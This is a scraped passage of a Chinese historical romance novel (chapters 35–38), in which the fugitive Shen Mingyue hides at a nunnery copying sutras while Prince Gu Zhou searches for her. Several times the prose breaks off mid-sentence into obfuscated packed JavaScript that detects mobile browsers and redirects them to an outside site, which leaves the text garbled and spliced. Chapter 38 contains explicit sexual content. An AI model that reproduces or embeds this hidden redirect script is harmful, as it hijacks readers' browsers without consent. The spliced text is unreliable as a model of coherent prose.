熟不知他是心结不解,伤势难愈。 海棠行礼,不由得担忧地唤了一声,“主上。” 顾洲明白她的意思,抬手示意她起身,回了一句,“无妨。” 海棠简要地回禀了这几日的搜寻,命人端来托盘,将上面的盖巾一掀,露出几片杏叶【1】和一只耳坠子。 “主上请看,这是这几日发现的线索,沈明月曾回过营州,之后与莺儿一起出逃,连查几日,只找到了这些配饰,看材质和做工,应是出自军中,大概就是是沈明月骑走的那匹马身上的。” 顾洲拿起耳坠子,问道:“确定这是沈明月的?” “确定,在营州城她的住处捡到的,想是走到匆忙落了下来。”海棠说着又拿起一片杏叶双手奉上。 顾洲接过,摸着杏叶上刀尖划过的痕迹,问道:“这些是在哪里发现的?” “很多地方。” 顾洲心中骤然一紧,伤口隐隐作痛,神色紧张地抬头问道:“什么叫很多地方,难道是人已经被……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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果不其然是他杀,一枚钢针自后脑穿入,使其当场毙命,而后被人伪装成自杀的样子。 经推断,前来刺杀之身手了得,是暗器高手。 此人不仅能混入军营,躲过监牢重重防守,还能恰到好处地将人自于死地,这枚钢针的力道减一分,不会没入头骨,多一分,则会从头的另一端窜出来。 不过也不排除是军营之内人所为。 事情经过已然明了,陈长生自身通敌,庆功之日大张旗鼓地将罪安到沈明月身上,转移众人注意力,而后偷了董弋处的作战计划,悄悄传递出去。 按说敌方已收到消息,目的达成,没有必要再大费周章来杀人灭口,除非对方不想让陈长生再说出些其它什么来,而且对方能有这样的高手为其效力,其身份一定不简单。 顾洲隐隐感觉到,这件事情并不是看起来那么简单,为了不打草惊蛇,他只是象征性地处罚了几个狱卒,没有再明着查下去。 此番战事结束,他本该跟董弋等人回京,听封受赏,可此战,他分明是输得一败涂地。 在找到沈明月之前,他决计不会归京,在给京中写了奏折中写了三件事,一言军机泄露细作自尽,是自身失察之过,请圣上责罚;二言身负重伤,行动艰难,无法归京,望圣上恕罪;三言此伤不知何时痊愈,恐耽误柳家姑娘妙龄,请求圣上退婚。 在他父皇和众朝臣看来,第一条是他的自谦,可将功折罪,第二条则是在逃避第三条中的婚姻之事,因为这退婚的理由着实有些牵强。 他父皇看了奏折当即龙颜大怒,自古婚姻大事,父母之命、媒妁之言,岂容他自己做主,况且他恶名在外,好不容易定下这门亲事,万不可因此断送。 况且旨意已下,天子之诺、一言九鼎,岂能说反悔就反悔? 但老子总是心疼儿子的,圣上虽震怒但也没有过多斥责,而是派出四名太医,带着上好药材补品前去诊治,只待他归京。 顾洲面对斥责的圣旨,心中毫无悔过之意,有的只是对沈明月的歉意和思念。 若是能找到她,与她共度此生,就算一辈子不回京他也愿意,心之所向行之所至,他义无反顾的写下了第二道请求退婚的奏折。 此时海棠已退下,山坡上只剩顾洲一人,时节已过了盛夏,天气依旧温热,山风从林间穿过,带着松针与泥土的气息,拂到顾洲身上,却是几分凉意。 手中的耳坠子在月光下闪着晶莹的光芒,好似沈明月眼角的泪滴。 他小心蜷起掌心,抬头望着遥不可及的圆月,这明月不属于他,但那月光曾为他停留,然而却他被亲手拂去。 悲伤如汹涌的浪潮猛扑过来,每一次呼吸都是窒息和无望,沈明月啊沈明月,我要如何才能将你找到。 36. 慈悲 海棠看着顾洲的背影,听着风中传来的叹息,大概也明白了主上的心思。 她到主上身边这几年,从未见过他如此惆怅感伤之时,可见是动了情。 可情爱有什么好,只会让人伤心伤情又伤身,甚至还会要人性命。 她露出痛苦的表情,咬着牙滚动了一下喉咙,好似咽下什么苦涩的东西,将手中的杏叶随意往托盘里一丢。 一个同样的杏叶,被神不知鬼不觉地塞到了褡裢【1】里。 沈明月正与这褡裢的主人,一位半百老汉,在茶摊上喝茶,可她囊中羞涩,只要了一碗白水与莺儿分着喝,若不是附近找不到水源,她们也不会到这茶摊上来。 她搭讪道:“老哥,这是要去哪里呀?” “回恒州。”老汉操着一口浓重的西北口音,“你个娃娃可把我叫年轻了,我这岁数都能当你爷爷了。” “您看着年轻得很嘞,顶多叫大叔。”沈明月哈哈一笑,心想着,恒州好,恒州好啊,能把追兵引得远远的。 “你这女娃子,嘴甜!要去哪里呀!” 沈明月不知身在何处,又恐说是外地人受人欺负,只回答:“回镇子。” 老汉押了一口茶,带着些疑惑说道:“姑娘是本地人?还真没看出来。” 沈明月见露出破绽,只轻轻点头,没有接话茬。 老汉却也不在意,自顾自地感叹着年龄,说道:“岁月不饶人啊,我也是快六十的人了。” 说着回看了一下镇子的方向,“这是我第二次到这里来,上次来这还是十多年前,只记得那时候兵荒马乱的,现在好了,太平了,这镇子变化也大,比原来扩了差不多两倍……” 沈明月笑道:“诶呦,六十?大叔您看着可真不像。” “唉,不行了,老了老了……唉!也不知道下次还能不能来啦!” 二人一番寒暄,沈明月分析出关于镇子的两个信息,第一治安良好,第二经济发达。 之所以要这些消息,一则是为了自身安全,这一路,她掩盖行踪、消灭证据,利用随机散布战马身上的饰品来迷惑追兵,也许这起到了作用,以至于到现在也没看到追兵的踪迹,但是,也不能保证就此甩掉了追兵, 现在的情况依旧是敌明我暗,现在她需要避匿于安全的市井间观察情况。 二则是要找个营生活下去,她除了这一手好字,再无一技之长,但防止留下线索,这手艺硬是没有派上用场,二人虽省吃俭用,但没有进项,终究会坐吃山空。 现下里身上只剩一些铜板,再走下去,恐怕要靠乞讨度日了。 辞别老汉,二人启程,于下半昼到了城镇外,只见城门上赫然写着“安山”二字。 安山! 看着这两个字,沈明月无奈到想笑,这是什么缘分,知道这个地方不能来,但冥冥之中上天还是将她安排到了这个地方。 莺儿再也走不动,这一行没有目的地,整日提心吊胆不说,还要计算着银钱,甚至没有吃饱的时候。 好不容易见到熟悉之地,便说什么也不想再走了,她一屁股坐到路边大树下,揉着浮肿的小腿说道:“姑娘,既然都到这里了,要不咱们还是去找找王家吧,我实在是走不动了。” 她们又是一日没吃东西,沈明月惦着荷包里的铜板,似乎除了留下来,再没有别的法子了。 但她心中还是犹豫,起身来到烧饼摊,狠狠心买了三块烧饼,伸手时看着自己瘦削的手腕,想到莺儿已经发尖的下颌,就立即做好了决定。 留下来可以,但是绝对不会去找王家。 莺儿看到烧饼去,忍不住吞了吞口水,可还是让姑娘先吃,沈明月只拿起一块,剩下的全塞回她手中,“吃吧,吃完了去找住处。” 大概是饿极了,莺儿没有推辞,大口大口地吃了起来。 这烧饼大概是出炉有一会功夫了,吃着有点噎人,沈明月边咀嚼着边思考,进城找客栈或赁房子根本就不可能,只能继续找农家或者寺庙借宿。 她看着出城了几条路,最终选择了一条人多的路去碰碰运气。 这条路边人家倒是不少,但见她们眼生,无人愿意借宿,但这并没有让沈明月感到沮丧,甚是厚着脸皮跟农家要了碗水喝。 这一路走来,她们被拒绝了多少次,遭受过多少白眼,数都数不过来,无所谓再多这次。 太阳还很高,还有时间,她相信会找到愿意收留她们的人家。 又继续向前走约两刻钟的功夫,路上有马车经过,车身周围还跟着小厮婢女,行人见了也是纷纷避让。 这定然是城中富户人家出行,沈明月正想着,就听路人言论。 一个高个子妇人说道:“这王家夫人还真是心诚,每逢初一、十五必要到庙中来拜佛。” 另一个挎着篮子的妇人说道:“心诚又有何用,不如用这香火钱去请位名医好好瞧瞧,或是纳个妾室进门。” 高个子撇撇嘴,压低声音:“你难道不知这王夫人最是善妒,连家中婢女都不敢近王老爷的身。这王老爷也算半个读书人,不也跟着来拜佛么,不仅陪夫人来,有时也自己来。” “嗐,毕竟都过来而立之年了,膝下还未有一男半女,换做是你,能不着急?” “……” 沈明月无心听她们八卦,但却从中得到重要的消息,附近有寺庙。 但她不敢向路人询问,担心这路人多问,走出树荫,垫脚看向车辆来的方向,果见不远处的半山腰上,树影掩映间有一座庙宇,其上袅娜的青烟,好似天上的纤云落入凡尘。 纤云青烟,本是悠然自得、恬静淡雅之景,可在沈明月看来却是生活的希望,前进的动力。 她拉着莺儿快步向前,庙宇看着虽近,但上行的道路迂回曲折,待到寺庙门口时,绮丽的晚霞已映红了半边天空。 此时已无香客,周围一片寂静,空谷幽林更衬得这方庙宇庄严肃穆,二人不自觉地放轻了脚步,生怕惊扰了这份神圣。 寺庙门楣正中,高悬“慈恩寺”三个金字,大气磅礴,宏伟壮观。 脚下青灰色的石阶,不知经过了多少香客的踩踏,已失去粗粝的原貌,被磨得光滑平整,朱漆大门上的金钉,也被香客的摩挲得发亮,显出乌黑的光泽。 穿过庙门便是宽阔的院子,几株古柏立于院中,树干粗若木桶,树皮纹路皲裂,也不知经历了几百年的风霜,几株小银杏树,在它们面前显得单薄而瘦弱。 两个尼姑执帚打扫银杏树下的落叶,虽未入秋,树叶已隐隐可见颓败之色。 她们听见脚步声,抬头见是形容憔悴、衣着破旧的二人,知道不是什么有钱的香客,便不愿理会,复而低头继续手中的动作。 但沈明月心思不在这上面,见这里是个尼姑庵,更放心下来,心中谋划着如何请求庙中主持,让自己和莺儿留宿,又想她们这态度,难免要有些气要受。 又走了几步便是巍峨“大雄宝殿”,殿前香炉里积着厚厚的香灰,还有几株手指粗细的残香燃着,青烟笔袅袅在殿前缭绕片刻,随后缓缓散入天地,消失得无影无踪。 殿门大开,门槛及膝高,跨过时须将腿高高抬起,稍不留神便要被绊个趔趄,据说这是为了故意使人“低头”,以显示对佛祖的恭敬虔诚。 日暮时分,大殿内有些昏暗,沈明月没有精力去研究佛像的尊容,叩首便拜,拜过后拿出两枚铜钱放到了香案边的功德箱里。 旁边一个矮胖的尼姑正在默默诵经,听到铜钱声,起身对二人施礼:“阿弥陀佛,多谢施主。” 沈明月双手合十,还礼道:“大师,天色将晚,可否容我姐妹二人挂单【2】一晚?” 尼姑似乎早已猜到她们如此说,但凡此时来的香客,大多是借宿之人,没有思考便回答:“有何不可,出家人慈悲为怀,自然要渡苦济难。” 随后她叫来一个名叫清定的小尼姑,吩咐一番后,命其将二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“客房一间一天三文,斋饭早晚各一文,午间两文。” 她边说边将钥匙交到沈明月手中,说完一跳一跳地离开了。 沈明月抚了抚胸口进入房间,里面极其简陋,只有一张床和一张陈旧的案几,床板上的苇席泛黄,案几上摆着一只油灯、一个木盆,除此之外再无它物。 莺儿点上油灯,随手在案几上楷一下,指腹上沾了些许灰尘,看来这屋子并不常住人。 她感觉似乎又回到了灾民营里,委屈地说道:“姑娘,什么都没有怎么住呀,还出家人慈悲为怀呢,原来也是看人下菜碟儿。” 沈明月将被子铺到苇席上,拿出斗篷当被子,说道:“住这里总比露宿强,快去打些水来。” 莺儿端起盆出去,不多时只端着凉水回来,嘟囔道:“那些尼姑真是可恶,连点热水都不给,还说是留给上房贵客的,可咱们不也是客人么。” “先敬罗衣后敬人,难道你还没看穿这世态炎凉吗?” 自打踏进这庙门的那一刻,沈明月已经做好了不受礼待的准备,所以现在也不觉失落,她将荷包打开,数了数里面的铜板,说道:“这点钱也只够咱们住三日,明日需想些法子赚钱。” 忽而她记起什么,打开包袱说道:“我记得咱们还有一副耳坠子来着,可以卖掉救急。” 莺儿放下盆,“那可是夫人留给姑娘的遗物,是个念想……” “念想不念想的全在心中。” 沈明月说着示意她拿出来,眼下吃饱活命最要紧,“念想”这种精神文明层面的东西,是要建立在物质文明基础之上,吃不饱、活不下去,什么都免谈。 莺儿拿出一个粗布小包,打开却只有一只,她着急地抖落着那块粗布,“我明明记得收在一起了。” 她们的东西并不多,翻找一遍后,依旧没有找到,莺儿有些伤心,“怎么就丢了呢?” 沈明月看着剩下的一只耳坠子,上面的宝石晶莹剔透,大概能卖个几两银子。 她没有一丝犹豫,但见莺儿伤感,还是退一步说道:“我明日先去把它当了,等日后有钱了再赎回来。” 说话间天色已完全暗了下来,莺儿点燃油灯,简单打扫房间,可油灯并没有亮多久,就渐渐黯淡下去,原是里面已无灯油。 借着最后的微光,二人梳洗一番后,挤在小床上草草一夜。 37. 经文 这一夜,二人过得十分不安,先是外面猫叫不止,好不容易挨到子时,天空又淅淅沥沥地下起雨来。 檐角积雨排队跌落,不紧不慢,却也未曾间断,沈明月数着雨滴的节奏,盼着能快些停住,若再大些,明日山路泥泞,下山便会艰难。 身下的苇席大概是长久不见天日,阴寒侵入纤维内部,潮凉透过薄被顺着脚心向上爬,直往骨头缝里钻。 沈明月翻了个身,将腿和脚趾都蜷缩起来,希望能温暖一些,可这似乎起不到任何作用,渐渐地她感觉除了心脏处还温热,周遭皆是一片冷冽的寒。 不知过了多久,窗外的嘀嗒声依旧固执,单调的节奏侵蚀着她的耐心,烦躁如同雾霭在周身弥漫开来,实在难以入眠,她索性坐起身来。 “姑娘?” 莺儿含糊不清地唤了一声,她也没有睡熟,黑暗中看不清姑娘的表情,却能感觉到对方的愠怒,她起身用被子将姑娘围起来,握住姑娘如同冰簇一般的双手,放到嘴前轻轻呵气取暖。 没有得到回应,她没有多问,只是静静地陪着姑娘,她看得出来,姑娘这次回来,变得沉默了许多,总是眉头紧锁,深邃而忧郁的双眸中仿佛承载着无尽的心事。 而姑娘睡觉时也会时常陷入梦靥,含糊不清地说着“不是我……为什么不相信……”之类的话,她也多次询问,但姑娘苦笑一声之后便缄口不言。 莺儿掌心的温热传到沈明月身上,让她多了一丝欣慰,可这欣慰却解不开心底越系越紧的死结。 她将此刻的困苦写在顾洲账上,恨意再一次如火一般在胸膛燃烧起来,让她恨到咬牙切齿,恨到深恶痛绝,恨到想立刻回去杀了他。 可这是多么不切实际的想法,回去就是送死,所以一番怨恨也仅仅是发泄自己的情绪,此外再起不到任何作用。 二人互相依偎着取暖,听着外面声音渐小,迷迷糊糊间也不知雨几时停了。 约摸过了一个时辰,晨钟悠悠响起,厚重而深沉的声音自古老的钟身上发出,荡开在静谧的空气中,抚触着庙中的每一个角落,唤醒了沉睡的佛像与经幡,而大殿檐角的铜铃,仿佛回应一般,也发出零落的清响。 沈明月从睡梦中睁开眼,推开门,一股带着松柏味的凉气扑面而来,让她瞬间清醒,不由得捻了捻衣襟。 天空还阴着,但云乘着清风向西南方掠去,而东方已现鱼肚白,估计很快就会晴朗起来。 距土房不远便是寺庙的侧门,她过去看了看,果然山水汇聚成涓涓小溪,顺着路中间的小沟壑向下流淌。 看来今日不能下山了,二人往回走,脚步却不自觉地跟着积香厨【1】飘出来的香气到了五观堂【2】,却被告知香客用饭要在十方苑【3】。 饭钱是现结,交了铜板,领了两份饭食,是一个馒头、一碗稀饭和一碟小咸菜。 对于饥肠辘辘的二人来说,这些远远不够填饱肚子,但她们只就着咸菜喝了粥,馒头要留到午饭时再吃。 自十方苑出来,天已晴透,日光毫无顾忌地洒在石板路上,石板上的一个个小水洼如碎钻一般,折射出五彩的光芒,好似星光流动、银河倒扣。 二人无聊在庙中走动,只觉出奇的安静,大约是山路湿滑,没有香客的缘故。 除了经堂传出的诵经声,最热闹的要数后院的客房,这个时辰各位贵客醒来,正等着侍女和小尼姑们的服侍。 莺儿看着小跑的尼姑,心中有了谋算,与沈明月商量道:“姑娘,你看她们忙的,不如我们去问问有没有什么活可以做,也好过去外面找。” 沈明月觉得这倒是个主意,可又犯起怵来,这伺候人的活她没做过,不知道规矩,也拉不下脸来。 莺儿自然看出姑娘的犹豫,也不忍心让姑娘做这粗活,说道:“姑娘放心,我去就行,姑娘的手可是要留着绣花写字的。” 可是又怎能让莺儿一个人去,沈明月正思量间,迎面走来两个端着木盆的小尼姑,木盆里装着满满当当的僧袍,其中一个她们认得,是昨日接待她们的清定。 另一个不知法号,打眼望去只见身材丰腴,面庞白皙,眉梢眼角自带风流,说话尾音中藏着娇嫩,乍一看却不像是个尼姑。 她说道:“也不知宋书生今日来不来取经文?” 清定回答:“肯定不能来,这山上的水,最快也要等到晌午过后才干,只怕他今日是上不了山了。” 那尼姑有些惆怅:“那该怎么办?耽误了刘夫人祈福就不好了。” 清定宽慰道:“姐姐别急,看看一会儿谁能来,就将经文给谁抄。” 沈明月听了眼前一亮,这不营生就在跟前摆着吗?她还没动只见莺儿上前,行合十礼【4】,“两位师父,敢问寺中可招仆役?” 那个尼姑笑对来人,痛快地回答:“招,正招呢。” 她正发愁这堆脏衣服,今日寺中的洗衣妇上不来,这活计便落到她二人身上,只因她们皈依晚,辈分低,现在巴不得有人来应招,好接下手中这累人的活计。 “你去监院寥登记造册,之后到后院找我,就说……就说是后院清妙让的。” “是,师父。”莺儿听完快步去了。 原来这个尼姑叫清妙,倒是个动人的名字,沈明月思忖着,却见二人已离开,她忙追过去搭讪,但没有直接说抄经之事,以免有偷听他人言语之嫌,只问道:“二位师父,这寺中可还有什么需要帮忙的?” 这次清定开口:“有啊,打扫客舍,洗衣煮饭,劈柴喂猪,有好多呢。” 说完上下打量她一眼,见她举止端庄、气质不俗,料定她不是干粗活的人,带着些调侃道语气说道:“这些,你会哪样?” 面对刁难,沈明月少不得要忍耐,笑道:“真是不巧,在下自幼习字,还真没做过这些活。” 还没定清定开口,清妙抢先问道:“你说你会写字?” “正是。” “正好我这有卷经书要抄,你可写得?” “倒是可以看看。”沈明月没有痛快答应,把买方市场转换为卖方市场,这买卖才好做。 “随我来。”清妙放下木盆,带着沈明月就走,全然不理会后面给她使眼色的清定。 到了经房,她拿出一卷《观世音菩萨普门品》交给沈明月,说道:“这是刘夫人给孩子祈福用的,明日就要。” 沈明月略看了一眼,也就两三千字,但她故作为难道:“这么急,倒是有些困难。” 清妙皱了皱眉:“这事真的着急,多给你一成银钱。” 沈明月暗喜,但不动声色地问道:“如何算?” “以前都是五五分,这次我四你六。” 清妙这回答让窗外的清定直瞪眼,这规矩本是暗着,就这样被这傻大姐儿毫无顾忌地说出来,真想进去捏住她的嘴巴。 沈明月一听便知其中猫腻,寺庙似乎是将这抄经的业务分给了这些小尼姑们,亦或是她们私下联系,赚多赚少全靠她们自己把握。 为了长远起见,她说道:“既然有先例,咱就照先例来,若在下抄的师父还满意,以后的经书还用得着找别人?在下定不会让师父吃亏。” “别夸海口,先抄一卷我看看。”清妙说着拿出笔墨和纸放到书案上,“纸是主家提供的专用纸,笔墨要自己准备,这次你就先用经堂的吧。” “好说,好说。”沈明月答应着,心中却鄙夷这么大的寺庙,竟然这般悭吝。 清妙看着她写下了几个字,甚是满意,悄悄出了经堂,却对上清定不满的眼神。 待走二人离远了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523482|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清定埋怨道:“姐姐怎么将事情给她讲得那么清楚,上赶着不是买卖,得让她求着咱们才好。” 清妙不以为意,“她若不接,丢了刘夫人这单生意,该如何是好,再说这能赚几个钱。” “姐姐不在乎这几个钱,我们可全指着这钱养家呢。”清定白眼快要翻到天上,冷哼一声先行离开。 清妙也撇撇嘴自去了。 金乌升至头顶,空气热起来,蒸腾起的水汽化作薄雾,几只鸟儿穿梭其中,啼鸣声声,震碎了经堂中的宁静。 沈明月早已抄完经文,只等着午饭后再交给清妙,等待期间她随便翻阅起古老的经卷。 承载着经文的纸张已经泛黄,浓墨书写的文字却丝毫没有褪色,它们恰如时间的使者,将古人的智慧传承给今人,一笔一划间,勾勒的尽是慈悲与宽容。 这些文字感染着沈明月,让她心中升起一股平和之气,往事如烟随风散,岁月无痕似流水。 数十日前那场轰轰烈烈的战争如同一场梦,梦里的那些人那些事已湮灭在滚滚红尘之中。 她想,不如就此放下一切,以后青灯古佛、不问世事,倒也是个不错的选择。 虽想了却凡尘,可总觉心底深处有一丝不甘,牵绊着她回看往事,她清楚地知道那是什么。 顾洲,这个名字将会成为她此生最大的遗憾! 不知为何,她眼角有一滴清泪落下,掉到案几上破碎,缓缓洇开在莲花纹饰的花瓣间。 “姑娘。”莺儿趴着窗户,悄声打断了沈明月的思绪。 为了保持经堂的这份静谧,沈明月示意她噤声,随后走出来,接过她递上的馒头,疑惑地问道:“你午饭没吃?” “吃了,吃了。”莺儿揉着肚子笑道:“在这里当杂役,中午管一顿饭食,我用完饭便去后厨帮忙,她们见我勤快,给了我两个馒头,姑娘快吃。” 沈明月看着莺儿又红又胀的手,猜测她是洗了两大盆衣服,而洗衣服的水是井水,寒凉无比,再毒的日光也驱不散里面的寒气。 她一阵心酸,握住莺儿的手,不过好在二人的生活算是有了着落,如此平稳的过了半月有余。 临近重阳,香客需要祈福的经书多起来,因沈明月抄的经文字迹工整、卷面干净,香客纷纷指明了由她来书写,甚至愿意多付银钱。 虽然这些经文经过供奉后,不是被焚烧就是被压在箱底,但香客们想,若是佛祖见到这么隽秀的字迹,大概更加能感受到她们的诚心实意,届时便会大发慈悲,多赐一些福祉下来。 这可忙坏了沈明月,日日在经堂抄写,手酸了也只能停下来甩甩,而后继续书写,一天下来,她的手腕酸胀不已。 晚间,莺儿为她的手腕涂抹云霄膏,轻轻按摩,她看着那小瓷罐,不由得想起顾洲,虽然她很不情愿用这药膏,但疼痛是使她不得不让自己的骄傲屈服。 次日,她与莺儿早早起来,趁着天明时多抄写经文,因为油灯的油需要自己买。 经过客房时,只见里三层外三层的人,一问方知是王夫人今日前来上香,家中小厮婢女提前来收拾准备着。 这阵仗一看就是富贵人家,莺儿忽然记起上山时路人说的话,猜测这王夫人就是路人口中王老爷的家眷。 沈明月本着“休管他人瓦上霜”对原则,不做停留,匆匆用过早饭便前往经堂抄经,抄到一半突然想起出门时走得急,房门未锁,虽说她那间房没什么值钱东西,但件件都要紧得很,今日人杂,还是锁上为好。 此时正好抄完一卷经文,去锁门的同时顺便透口气,刚走近住处,就听见隔壁房子隐隐传出人语声。 她以为是有人入住,想着去打个招呼,可细听之下,那声音令人羞涩不已,想离开时又听见里面的人似乎提到了她。 38. [锁] [此章节已锁] 寺庙中神圣肃穆,一草一木皆透着佛家的庄严,可屋内却是春色荡漾,满室旖旎。 自门口至床榻的几步路间,深红色宝相暗纹外袍覆上青灰色细布僧袍,乌皮六合靴压住竹布罗汉鞋,粉色小衫的系带与蹀躞玉带纠缠不清。 此处素墙苇席,远不及绣阁兰房,却另有一番意趣。 床上一男子敞着亵衣,垂涎着眼前的秀色可餐,迫不及待用去探究其中的奥秘,喉咙中含糊不清。 “美人儿,祖宗,今儿就从了我吧,这几日可把我想疯了。” 这女子是个水做的人儿,一沾男人身子便软下来,但还是半推半就,“混说,谁信你的话,你家中有老婆通房,还来寻我做什么?” “那悍妇最近斋戒,房都不让回了,那些通房,一年到头连手指都不让碰一下……快些吧,我的心肝儿,不快些,隔壁住的那姐妹俩就要回来了。” “猴急什么?她们一个有抄不完的经,一个有干不完的活,我今日还安排那大的到你夫人房中抄经,放心,她们没有功夫。” 男子已经急不可耐,加重了身上的力道,却不得门路,“你可真是磨人,分明都安排好了,还这般推三阻四。” 女子仍旧不配合,男子只好将她的双手捉住压在头顶,省去攻城略地的繁琐,简单粗暴的冲破阻碍,一马当先,长驱而入,直捣黄龙。 这猝不及防的一下令女子娇呼连连,柔媚的声音轻易穿透薄薄的窗户纸,分毫不差地落到沈明月耳中。 沈明月万万没想到里面之人会是清妙,简直要惊掉下巴,佛门清净之地,竟然发生这样的腌臜事,真是对佛祖的亵渎。 她哪里经过这阵仗,低着头眼观鼻,鼻观口,口观心,默念几声“阿弥陀佛”,脚下走也不是不走也不是,唯恐惊扰了屋内之人。 正在纠结之时,一只黄白相间的老猫信步到阳光下,将身上的绒毛梳理了一番后,懒洋洋地躺到地上休息。 沈明月实在无奈,悄悄蹲下捡起一块石头朝老猫砸去,正中其脑门。 随着“喵呜”一声惨叫,老猫跳来爬上墙顺着房檐溜走,她也趁着这动静离开。 这一声可吓坏了屋内二人,清妙虽被骇了一跳,却只是皱眉骂道:“死猫,看我明日不揭了它的皮。” 而男子惊得后背起了一层冷汗,哆嗦着抽动了两下,将一股精神气倾泻出去后,便偃旗息鼓,瘫倒在清妙的绵软之中,待知道是猫后,长长舒了一口气。 清妙见他如此胆小不中用,戏谑道:“怎么?你是老鼠啊,怕猫怕成这样?” 男子心有余悸,擦着汗赔笑道:“我以为是我家那只母老虎。” “瞧你那怂样?亏你还是个爷们儿,竟然怕成这样。” 男子虽怕,嘴上却逞能:“谁说我怕了,明日我就将她休了,接你进府去。” “呸!”清妙啐了一口,转过身去,“你那府中几时由你说了算?若能让我进府,何必将我安置在这破庙中。” 她刚刚被挑起的兴趣就这样草草了结,心中不甚满足,耍起脾气来,“不如你我就此断了,我自找个人家嫁了,管他贫与富,也好过与你这样偷偷摸摸地来得舒心。” “你想都别想!” 男子哪里舍得这香润玉温,一番轻抚细弄的撩拨,怀中的人儿似离了水的鱼一般,大口喘着粗气,掐住男子的手腕连连告饶。 似火的热情平息后,满脸餍足的清妙变得温顺起来,伸手揽上男子的脖颈,男子则拿出一块白玉佩,用上面坠的流苏轻扫着骨软筋酥的胴体。 清妙感受到痒意又是一扭动,松开男子去夺那玉佩,男子故意逗她,将玉佩举过头顶。 她稍稍抬起上半身便一把夺过,见是上乘佳品,流露出满意的表情,细细把玩间说了好些海誓山盟的话,之后手指又抚上男子拇指上的扳指。 男子自然明白她的意思,但这明面上的东西却不敢给她,好言轻哄道:“改日送你个成色更好的。” 清妙也不是傻的,知道扳指不见了他不好跟他夫人交代,也不强求,起身要去穿上小衣。 男子则一把拉住,说道:“我还有个事求你。” 清妙看着他浮浪的表情就知道不是什么好事,白了他一眼:“诶呦,王大老爷能有什么事求到我一个小尼姑头上!” 男子未有犹豫,说道:“刚说的那会写字的女子是新来的吧?她是打算皈依还是……” “你是说隔壁的乔燕【1】?你打她的主意?好不要脸,吃着碗里的,看着锅里的!那等素寡之人有什么趣儿?” “只求你牵个线,也让我尝尝这等滋味……” 男子口齿不清,喘息着与清妙缠绵厮磨,虽意犹未尽,可奈何自己力不从心,怎么也石更不起来。 清妙招架不住,答应下来,之后二人密谋一番,她知道男子不是个老实的,不找那姓沈的也会找姓浅的、姓高的、姓矮的,索性就遂了他一次。 当然她也知道沈明月非等闲之辈,等男子遭了拒、灰了心便会回来,那时他便更知自己的好处、妙处。 “不过我先说下,我只能帮你到这里,人家是否愿意就要看她自己了。” 男子见她应了,半跪着谢道:“这个自然,若成了不会忘记你的大恩。” “哼!” 清妙平复了呼吸,拿过小衣,捡起僧袍拍去尘土,穿戴整齐行合十礼,口中念着:“南无阿弥陀佛。” 这模样,若不是眼角仍残留着情欲的绯红,端然是似一尊神情慈悲的菩萨像。 清妙悄声出门,先去王夫人的客房打探一番,得知王夫人的佛经已抄完,现下正由慧明师太陪着用斋饭。 之后拿走佛经准备午后的供奉仪式,打开一看,果见经文前后两种笔体。 原来这富家人祈福,会到寺庙亲自抄经、亲自供奉,以示虔诚,但这般枯燥乏味之事,令人少有耐心,所以不过是做做样子,开头结尾自己书写,中间由人代笔。 其中由沈明月书写的这部分,字迹却不似先前那般规整,这令清妙不满,唯恐王夫人不满,便悄悄问王家婢女:“夫人对此可满意?” 这婢女只是外面服侍的,不知如何,只回答道:“我不知道,就听里面说拿银子,想来是赏人用的。” 清妙心下明了,道谢退出,但沈明月得了这么多好处,必要让她知道自己的恩情,于是将经文交给观音堂后又去寻沈明月。 她的出现将一丝不苟的沈明月骇了一跳,手中不稳,将一滴墨汁溅到了纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530440|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 她赶紧用草纸将墨汁吸干,但还是在纸上留下一个墨点,没办法,只得另铺一张纸重写。 抬头见清妙平常神色,全然没有对清规戒律的敬畏之心,便知此事已不是一次两次了。 想着那几声娇吟会是对面之人发出来的,沈明月倒觉得有些不好意,于是态度十分客气。 “清妙师父可有事?” 清妙虽坏了沈明月的字迹,但却毫无歉意,清了清嗓子说道:“你可知今日抄经这差事是谁为你安排的?” 刚才沈明月无意间已得知此事的原委,但仍装作不知,如实回答道:“是清定师父告知我的,还说这是她特意为我求来的。” 此言并非她说谎,而是事实的确如此,这两个小尼姑貌似关系很好,但私下里却互相较量,清定如此说不过是为了买好,将人情记在自己头上。 “这个小蹄子!竟会使巧招儿。” 清妙骂一句,而后又笑道:“别看她那样子可怜见儿,实则心眼子最多,你可得认清人,这差事可是我给你安排的。” 沈明月暗自好笑,也只能附和道:“原来如此,我倒是谢错人了,还要在此谢过师父。” 清妙见她只是道谢,继续说道:“我看经文了,怎抄得不似平日的好看?” 彼时沈明月刚回来,便被叫去为王夫人抄经,她这才恍然屋内那男子,就是之前提到过的当地富绅王老爷。 真是讽刺,这王老爷在佛门清净清之地行苟且之事,将精力悄悄摸摸地倾泻在二八妙龄身上,可怜王夫人被蒙在鼓里,独自虔诚求子。 